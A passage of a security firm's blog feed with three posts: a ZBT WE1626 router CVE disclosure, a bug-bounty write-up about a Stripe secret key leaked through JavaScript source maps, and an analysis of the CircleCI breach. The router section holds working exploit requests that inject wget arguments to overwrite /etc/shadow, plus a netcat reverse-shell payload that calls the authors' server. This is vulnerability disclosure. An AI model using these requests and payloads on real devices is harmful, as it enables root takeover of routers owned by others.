wifi_type=&quot;$(my_uci_get anyos.wifi.wifi_type)&quot;<br> json_init<br> json_add_string code &quot;1&quot;<br> json_add_string reason &quot;success&quot;<br> json_add_string access_token &quot;$token&quot;<br> json_add_string wifi_type &quot;$wifi_type&quot;<br> echo -n &quot;$(json_dump)&quot;<br>fi</pre><p>Taking this into consideration, the ProDefense team developed a payload to overwrite the /etc/shadow file on the router, enabling them to modify the administrator password for the web application. To accomplish this objective, the team established a temporary AWS EC2 instance and hosted the designated payload through a basic Python web server operating on port 80.</p><p><strong>Payload</strong></p><pre>root:$1$G4IbPqIv$D3EjRZAocaPQCZYIxh3350:19309:0:99999:7:::<br>anywifi:$1$cIlJAfeI$yOK2PILQg0Qy88F/ZcR4Q/:16577:0:99999:7:::<br>daemon:*:0:0:99999:7:::<br>ftp:*:0:0:99999:7:::<br>network:*:0:0:99999:7:::<br>nobody:*:0:0:99999:7:::<br>dnsmasq:x:0:0:99999:7:::<br>mosquitto:x:0:0:99999:7:::</pre><p>The payload above is a replacement file for the /etc/shadow directory, which will update the password for the root user to “password”.</p><p>Following this, the team issued a request utilizing the WGET operation to obtain our payload hosted at <a href="http://pwn.prodefense.io/payload,">http://pwn.prodefense.io/payload,</a> and subsequently directed the WGET output to the /etc/shadow file system.</p><p><strong>Request</strong></p><pre>GET /cgi-bin/webapi?op=test_wget&amp;host=pwn.prodefense.io/payload -O /etc/shadow&amp;ipversion=4 HTTP/1.1<br>Host: 192.168.1.1<br>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0<br>Accept: application/json, text/plain, */*<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Connection: close<br>Referer: http://192.168.1.1/</pre><p><strong>Response</strong></p><pre>HTTP/1.1 200 OK<br>Connection: close<br>Content-type: text/html<br>Access-Control-Allow-Origin: *<br>Content-type: application/json<br>Content-Length: 289<br>{ &quot;code&quot;: &quot;1&quot;, &quot;reason&quot;: &quot;wget ipv4 test success&quot;, &quot;data&quot;: &quot;Downloading &#39;http:\/\/pwn.prodefense.io\/payload&#39;\nConnecting to 52.53.243.191:80\nWriting to &#39;\/etc\/shadow&#39;\n\r\/etc\/shadow 100% |*******************************| 267 0:00:00 ETA\nDownload completed (267 bytes)&quot; }</pre><p>As is evident from the aforementioned response, the team was able to successfully overwrite the /etc/shadow file, and subsequently gain access to the web application without issue.</p><p><strong>Request</strong></p><pre>GET /cgi-bin/webapi?op=login&amp;username=root&amp;password=password&amp;t=2022–11–13T17:14:34.102Z HTTP/1.1<br>Host: 192.168.1.1<br>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0<br>Accept: application/json, text/plain, */*<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Connection: close<br>Referer: http://192.168.1.1/</pre><p><strong>Response</strong></p><pre>HTTP/1.1 200 OK<br>Connection: close<br>Content-type: text/html<br>Access-Control-Allow-Origin: *<br>Content-type: application/json<br>Content-Length: 106<br>{ &quot;code&quot;: &quot;1&quot;, &quot;reason&quot;: &quot;success&quot;, &quot;access_token&quot;: &quot;9d10b43dbbd45ee052632d5d44e3cf03&quot;, &quot;wifi_type&quot;: &quot;2&quot; }</pre><p>Upon logging into the web application, the user is provided with an access_token, which is stored within the system.</p><p>During the team’s examination of the device’s source code, they encountered an .sh file being executed within the set_4g() function. However, it is important to note that this function verifies the validity of the access_token.</p><pre>set_4g(){<br> body=&quot;$FORM_body&quot;<br> access_token=&quot;$FORM_access_token&quot;<br> json_load &quot;$body&quot;<br> …omitted for brevity…<br> check_token &quot;$access_token&quot;<br> if [ &quot;$?&quot; != &quot;0&quot; ]; then<br> json_init<br> json_add_string code &quot;-1&quot;<br> json_add_string reason &quot;check access_token err&quot;<br> echo -n &quot;$(json_dump)&quot;<br> return<br> fi<br> json_init<br> json_add_string code &quot;1&quot;<br> json_add_string reason &quot;set 4g config success&quot;<br> echo -n &quot;$(json_dump)&quot;<br> ifdown &quot;$module_section&quot; &amp;<br> /usr/sbin/anywifi/start_4g_entry.sh &amp;<br>}</pre><p>In order to obtain the unauthenticated remote code execution vulnerability, the team exploited the arbitrary file write vulnerability by overwriting the start_4g_entry.sh file with a reverse shell payload.</p><p><strong>Payload</strong></p><pre>#!/bin/sh<br>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;1|nc pwn.prodefense.io 80 &gt;/tmp/f</pre><p>The designated payload, which is hosted at <a href="http://pwn.prodefense.io:81/payload,">http://pwn.prodefense.io:81/payload,</a> functions by executing a reverse shell back to port 80.</p><p>To overwrite the start_4g_entry.sh file with the reverse shell payload, the team dispatched the following request:</p><p><strong>Request</strong></p><pre>GET /cgi-bin/webapi?op=test_wget&amp;host=pwn.prodefense.io/payload -O/usr/sbin/anywifi/start_4g_entry.sh&amp;ipversion=4 HTTP/1.1<br>Host: 192.168.1.1<br>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0<br>Accept: application/json, text/plain, */*<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Connection: close<br>Referer: http://192.168.2.1/</pre><p><strong>Response</strong></p><pre>HTTP/1.1 200 OK<br>Connection: close<br>Content-type: text/html<br>Access-Control-Allow-Origin: *<br>Content-type: application/json<br>Content-Length: 317<br>{ &quot;code&quot;: &quot;1&quot;, &quot;reason&quot;: &quot;wget ipv4 test success&quot;, &quot;data&quot;: &quot;Downloading &#39;http:\/\/pwn.prodefense.io\/payload&#39;\nConnecting to 52.53.243.191:80\nWriting to &#39;\/usr\/sbin\/anywifi\/start_4g_entry.sh&#39;\n\r\/usr\/sbin\/anywifi\/st 100% |*******************************| 406 0:00:00 ETA\nDownload completed (406 bytes)&quot; }</pre><p>The final step towards acquiring a reverse shell is to activate the set_4g() function in order to initiate the reverse shell payload.</p><p>To achieve this, the team issued the following request:</p><p><strong>Request</strong></p><pre>GET /cgi-bin/webapi?op=set_4g&amp;access_token=9d10b43dbbd45ee052632d5d44e3cf03&amp;t=2022–11–13T17:18:44.659Z HTTP/1.1<br>Host: 192.168.1.1<br>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0<br>Accept: application/json, text/plain, */*<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Connection: close<br>Referer: http://192.168.1.1/</pre><p>* Note: The access_token was obtained by logging into the web application</p><p><strong>Response</strong></p><pre>HTTP/1.1 200 OK<br>Connection: close<br>Content-type: text/html<br>Access-Control-Allow-Origin: *<br>Content-type: application/json<br>Content-Length: 50<br>{ &quot;code&quot;: &quot;1&quot;, &quot;reason&quot;: &quot;set 4g config success&quot; }</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/0*wTEGp8nh0LOjfNv3" /></figure><p>Upon establishing a connection to port 80 via their EC2 instance, the team was able to acquire a reverse shell as the root user.</p><h4>Recommendations</h4><ol><li>Regularly update the device’s firmware and software to ensure that any known vulnerabilities are addressed.</li><li>Disable any unnecessary services or ports on the device to minimize attack surface.</li><li>Follow secure coding practices and perform regular code reviews to identify and remediate any potential security issues in web applications.</li><li>Utilize proper access control mechanisms to limit access to sensitive system files and directories.</li></ol><h3><strong>Insufficient Debug Interface Protection</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qj9WbprkqEO6VXMwrHVyAA.png" /></figure><h4>Definition</h4><p>Devices often include interfaces that provide access to consoles or direct access to the device’s processor and memory. Because of the sensitive nature of these interfaces, manufacturers may implement protection schemes that only enable debug interfaces under certain circumstances. If an attacker can easily figure out the scheme or identify a way to bypass it entirely, they would have access to debugging functionality that can allow them to compromise the device.</p><h4>CVE Description</h4><p>An Insecure Permissions vulnerability in Shenzhen Zhibotong Electronics ZBT WE1626 Router v21.06.18 allows attackers to obtain sensitive information via SPI bus interface connected to the pinout of the flash memory of the device. In addition, no signature validation is performed on the device’s firmware, allowing an attacker to redeploy firmware with an included backdoor.</p><h4>Attack Vector</h4><p>To exploit this vulnerability, an attacker would need to utilize a SPI bus interface device and connect it to the pinout of the NAND flash memory. Connect the <a href="https://www.winbond.com/resource-files/w25q64jv%20revj%2003272018%20plus.pdf">proper pins</a> of the SPI bus by identifying the VSS, GND, MISO, MOSI, CS, and CLK pins of the ZBT WE1626’s flash memory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/0*gDAzXiUeaZv2pbd8" /></figure><p>Observe the serial number of the Winbond flash memory that was found from the hardware teardown and reconnaissance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/0*syjdxd0Kxx8xI3ob" /></figure><p>In Linux, the flashrom command is a utility that allows users to read, write, and verify the firmware on various flash memory devices. flashrom was used to extract firmware from this device’s flash memory by reading the contents of the chip and writing them to a file. To use flashrom, one must first identify the flash memory chip on the device and determine its pinout. Then, with the proper wiring and configuration, flashrom can be run to read and extract the firmware from the chip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/0*1n7C4M5FwKobiD-M" /></figure><p>The firmware was unencrypted and all the filesystem information was not be protected by a password or other security measures. This makes it possible for anyone with access to the firmware to view sensitive files, such as /etc/shadow and /etc/passwd, in plaintext. This is a significant security risk, as these files contain sensitive information such as user passwords and can be exploited by attackers to gain unauthorized access to the system.</p><h4>Recommendations</h4><p>It is highly recommended to use a router that is secure and follows best practices for firmware validation and encryption to ensure the protection of your network and data. Routers with vulnerabilities such as unencrypted firmware extraction and lack of firmware signing validation can be easily compromised by attackers, resulting in security breaches and potential data loss. Therefore, it is crucial to prioritize security when selecting a router for a home or business network.</p><h3>Insufficient UART Interface Protections</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hi65DuQW32m0K_uAbhYa_Q.png" /></figure><h4>Definition</h4><p>Devices often include interfaces that provide access to consoles or direct access to the device’s processor and memory. Because of the sensitive nature of these interfaces, manufacturers may implement protection schemes that only enable debug interfaces under certain circumstances. If an attacker can easily figure out the scheme or identify a way to bypass it entirely, they would have access to debugging functionality that can allow them to compromise the device.</p><h4>CVE Description</h4><p>To exploit this vulnerability, an attacker would need to utilize a UART serial adapter to connect to the device’s UART ports (TX, RX, and GND) at a baud rate of 115200 bits per second using a command like <a href="https://www.geeksforgeeks.org/screen-command-in-linux-with-examples/">screen</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ivFTQgD2ztKDeGxh" /></figure><p>Once connected, powering on the device, will provide a command line shell as the root user through the listening screen command. Observe the following device setup and output below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/0*aLfk7yZtBJS251o7" /></figure><p>To connect the FTDI Friend to the UART ports of the ZBT Router, start by identifying the TX (transmit) and RX (receive) pins on both devices. Then, connect the TX pin of the FTDI Friend to the RX pin of the ZBT Router, and the RX pin of the FTDI Friend to the TX pin of the ZBT Router. It is important to note that when connecting devices together over UART, the TX and RX bits may be inverted, meaning that the transmit pin on one device should be connected to the receive pin on the other device, and vice versa. This can vary depending on the specific devices being connected, so it is important to check the documentation and pinout diagrams before connecting them together.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*erLozyBMsPhkI9r2" /></figure><p>The team found the device provided full access to the system and could perform any action, including executing code with elevated privileges. In this case, the uid and gid (user ID and group ID) were set to root, which is the superuser account in Linux-based operating systems. This allowed the user to execute code with full privileges and potentially access sensitive system files and data. Finding a device with root permissions and elevated privileges can indicate a serious security vulnerability, and it is important to take immediate action to mitigate the risk and prevent unauthorized access.</p><h4>Recommendations</h4><ol><li>Disable unused interfaces: Disable unused interfaces, including the UART interface, if not needed for operation. This can reduce the number of potential attack surfaces and limit the ways in which an attacker can exploit the device.</li><li>Implement secure boot mechanisms: Implement secure boot mechanisms to ensure that only trusted firmware is loaded on the device.</li></ol><h4>References</h4><ul><li><a href="http://shenzhen.com/">http://shenzhen.com</a></li><li><a href="http://zbt.com/">http://zbt.com</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b3534484d97d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/prodefense/zbt-we1626-wireless-router-cve-disclosures-b3534484d97d">ZBT WE1626 Wireless Router CVE Disclosures</a> was originally published in <a href="https://medium.com/prodefense">ProDefense</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Little bug, Big impact. 25k bounty]]></title>
            <link>https://medium.com/prodefense/little-bug-big-impact-25k-bounty-9e47773f959f?source=rss-8d13946dd5be------2</link>
            <guid isPermaLink="false">https://medium.com/p/9e47773f959f</guid>
            <category><![CDATA[front-end-development]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Matthew Keeley]]></dc:creator>
            <pubDate>Fri, 24 Feb 2023 18:12:47 GMT</pubDate>
            <atom:updated>2026-02-12T15:46:55.894Z</atom:updated>
            <content:encoded><![CDATA[<p>Originally posted on our blog: <a href="https://www.prodefense.io/blog/little-bug-big-impact-25k-bounty">https://www.prodefense.io/blog/little-bug-big-impact-25k-bounty</a></p><p>As an ethical hacker, I was on the hunt for vulnerabilities in a well-known company’s web application. I had scanned the code multiple times, but something just didn’t feel right. That’s when I decided to take a closer look at the JavaScript that was running on the front-end of the application.</p><p>As I dug deeper, I stumbled upon a gold mine of sensitive data: hardcoded secrets that were being used to process payments through Stripe. The secrets in question were none other than the Stripe API publishable key and secret key themselves. These keys were stored in the front-end of the application, which made them easy pickings for anyone with a malicious intent.</p><p>What surprised me the most was that these secrets didn’t have a common name that could easily be picked up by a scanner or a tool. They were cleverly hidden within the JavaScript, making them difficult to detect. However, with my experience and expertise, I was able to uncover them and immediately alerted the company.</p><h3>JavaScript source mapping</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HJWSx017EMveUEzM.png" /><figcaption>Not actual website, just an example</figcaption></figure><p>JavaScript source mapping maps the code in a minified JavaScript file to the original source code, which is useful for debugging, allowing developers to easily find the origin of an error. Minifying removes information such as comments, function names, and variable names, making debugging harder. A source map is generated alongside the minified file, mapping the compiled code to the original code, helping the browser to display a more helpful error message when encountering an error in the compiled code.</p><p>Although useful for development and debugging, source maps can also pose a security risk if secrets such as API keys or passwords are included in the original source code. This information could be exposed through the source map, allowing unauthorized access to sensitive resources. As a result, it is essential to avoid including secrets in JavaScript code and instead use secure storage or environment variables, while also ensuring that the build process removes any comments or data that could expose sensitive information in the source map.</p><h3>Finding the bug</h3><p>Using the tool <a href="https://github.com/denandz/sourcemapper">SourceMapper</a> I was able to reconstruct the minified JavaScript to a more readable version. An example of how to use this tool is shown below:</p><pre>doi@asov:~$ ./sourcemapper -output dhubsrc -url https://hub.docker.com/public/js/client.356c14916fb23f85707f.js.map<br>[+] Retriving Sourcemap from https://hub.docker.com/public/js/client.356c14916fb23f85707f.js.map<br>[+] Read 23045027 bytes, parsing JSON<br>[+] Retrieved Sourcemap with version 3, containing 1828 entries<br>[+] Writing 9076765 bytes to dhubsrc/webpack:/js/client.356c14916fb23f85707f.js<br>[+] Writing 1014 bytes to dhubsrc/webpack:/webpack/bootstrap 356c14916fb23f85707f<br>[+] Writing 3174 bytes to dhubsrc/webpack:/app/scripts/client.js<br>[+] Writing 281 bytes to dhubsrc/webpack:/~/babel-runtime/helpers/interop-require-default.js<br>[+] Writing 151 bytes to dhubsrc/webpack:/~/babel-core/polyfill.js<br>{snip}</pre><p>Once the code was in a readable format, it took a few minutes of searching through the JavaScript to find this:</p><pre>export const S0 = &#39;pk_live_[REDACTED]es33&#39;;<br>export const S1 = &#39;sk_live_[REDACTED]du8d&#39;;<br>export const STRIPE_HEADER_NAME = &#39;REDACTED&#39;;<br>export const CURRENCY = &#39;USD&#39;;<br>export const STRIPE_PAY_BUTTON = &#39;Pay for REDACTED&#39;;</pre><p>You see that? Yea! That’s the secret API key!! Stripe has a very convenient API that can be used to check the balance of this account, or transfer the money to a different account. Hello bitcoin! (kidding)</p><pre>❯ curl https://api.stripe.com/v1/balance -u sk_live_REDACTEDdu8d<br>{&quot;object&quot;: &quot;balance&quot;,<br> &quot;available&quot;: [ {<br> &quot;amount&quot;: 1761520.76,<br> &quot;currency&quot;: &quot;usd&quot;,<br> &quot;source_types&quot;: {<br> &quot;card&quot;: 0 } } ]<br>}</pre><h3>Conclusion</h3><p>As you can imagine, I was ecstatic to receive the $25,000 bug bounty from the company’s security team. It was an incredible feeling to know that my efforts had helped secure the platform and prevent any malicious actors from exploiting this critical vulnerability.</p><p>What was even more surprising was the company’s reaction to my discovery. They were so appreciative of my ethical approach that they even joked about being happy I didn’t take any money out of the Stripe account! This goes to show how important it is to have ethical hackers working towards improving the security of digital platforms.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9e47773f959f" width="1" height="1" alt=""><hr><p><a href="https://medium.com/prodefense/little-bug-big-impact-25k-bounty-9e47773f959f">Little bug, Big impact. 25k bounty</a> was originally published in <a href="https://medium.com/prodefense">ProDefense</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Technical Analysis: CircleCI Breach]]></title>
            <link>https://medium.com/prodefense/technical-analysis-circleci-breach-bb775e080d8c?source=rss-8d13946dd5be------2</link>
            <guid isPermaLink="false">https://medium.com/p/bb775e080d8c</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[breach]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[session-hijacking]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Matthew Keeley]]></dc:creator>
            <pubDate>Tue, 31 Jan 2023 18:45:51 GMT</pubDate>
            <atom:updated>2023-01-31T18:45:51.933Z</atom:updated>
            <content:encoded><![CDATA[<p>On December 19th, 2022, a software engineer logged into the single sign-on (SSO) system that grants access to resources. After entering his password and multi-factor authentication code, the SSO system sent a session cookie to the engineer’s computer to maintain his login session. Unknown to the engineer, his computer had been compromised by stealthy malware that had been monitoring his activity for three days. The malware was able to evade detection by antivirus software.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/0*EY5etlglbSXIiV7H" /></figure><p>The hackers then utilized the SSO session cookie to access and gather information on all resources that the engineer had access to through the SSO system. This led them to Circle CI’s cloud-hosted production environment, which is believed to be hosted on Amazon Web Services (AWS).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9byPOlBx4JcsKBik" /></figure><p>After conducting further reconnaissance on AWS, on December 21st, the hackers discovered that the engineer had privileges to create new access tokens. By creating new access tokens, the hackers were able to gain access to virtually all of CircleCI’s AWS resources, including their production environment. This gave them the ability to exfiltrate sensitive data, such as client’s encrypted OAuth Tokens, Project API tokens, User API tokens, Runner Tokens, Project SSH keys, Project Environment Variables, and Context Variables.</p><p>Furthermore, the hackers likely created a backdoor by creating an access token with all AWS permissions. This would have allowed them to maintain access to CircleCI’s AWS resources even after the initial attack was discovered. This would have given them the ability to continue to exfiltrate data and cause further damage.</p><p>Additionally, the ability to create new access tokens would have also allowed the hackers to provision access to other resources within AWS, such as databases or virtual machines. This could have potentially given them access to even more sensitive information and caused further damage to CircleCI’s infrastructure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-rJe08AeMY8HYxSd.png" /></figure><p>On December 22nd, following further reconnaissance of the databases, the hackers exfiltrated encrypted O-Auth Tokens, Project API tokens, User API tokens, Runner Tokens, Project SSH keys, Project Environment Variables, and Context Variables belonging to many of Circle CI’s software developer clients. This information could potentially be used to gain unauthorized access to Circle CI’s systems and client data.</p><p>Circle CI had implemented best practices by encrypting their customers’ data at rest. However, the hackers, who had obtained privileged permissions, were able to extract the decryption keys from a running process and exfiltrate them. Although it is possible to speculate if the hackers had the necessary variables for decryption, it is ultimately irrelevant as a week later, on December 29th, one of Circle CI’s customers reported suspicious OAuth activity on their Github account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/0*SZ1afx_G-4I7k8Xu" /></figure><p>Circle CI immediately launched an investigation and quickly determined that the OAuth token had been compromised. Proactively, they rotated all Github OAuth tokens the following day. The timing of the attack coincided with the Christmas and New Year holiday period, when many IT and security staff were out of the office, which may have contributed to delayed responses.</p><p>On January 4th, 13 days after the initial exfiltration of the developer’s authentication secrets, Circle CI publicly disclosed the breach, stating they had revoked the hacker’s access and urged customers to rotate their secrets. This was also the same day that they restricted most of their own employees’ access to the Circle CI production environment.</p><p>The following day, Circle CI took further measures to secure their systems, including rotating all production machines, cycling all access keys, and conducting an audit of all system access with the assistance of third-party investigators. These investigators likely recommended working with Atlassian and Github to force rotate all customers’ Github and Bitbucket OAuth tokens, in order to ensure that all potential vulnerabilities had been addressed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/0*TXbZsY59IuR57UjI" /></figure><p>Single Sign-On (SSO) providers have a limited role in protecting against Session Hijacking attacks, and often place the responsibility on endpoint security. However, they have the capability to offer additional protections. They already utilize conditional access controls, such as evaluating the risk of a login based on “behavior detection,” such as device recognition or multiple logins from different locations. Applying these measures to session monitoring, for example, by requiring re-authentication if a device is not recognized, could provide greater security. Furthermore, some SSO tools do not even monitor for multiple connections using the same session cookies.</p><p>IP address blacklists and whitelists are often based on country, but companies rarely use more granular IP address whitelists or blacklists as they can create problems. These methods are not very effective as it only takes a VPN to circumvent them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/0*Ct2DFOLKHBUgpBPr" /></figure><p>In the case of Circle CI, the hackers opted for the easier option of stealing session cookies instead of using malware to proxy their traffic through the engineer’s compromised computer to the SSO. This highlights the security limitations of some Software as a Service (SaaS) based tools.</p><p>A significant concern is what the hackers were able to do with Circle CI customers’ keys and other secrets during the 13 days before they were changed. This period of time represents a significant window of opportunity for the hackers to potentially access all of the customers’ DevOps environments.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bb775e080d8c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/prodefense/technical-analysis-circleci-breach-bb775e080d8c">Technical Analysis: CircleCI Breach</a> was originally published in <a href="https://medium.com/prodefense">ProDefense</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>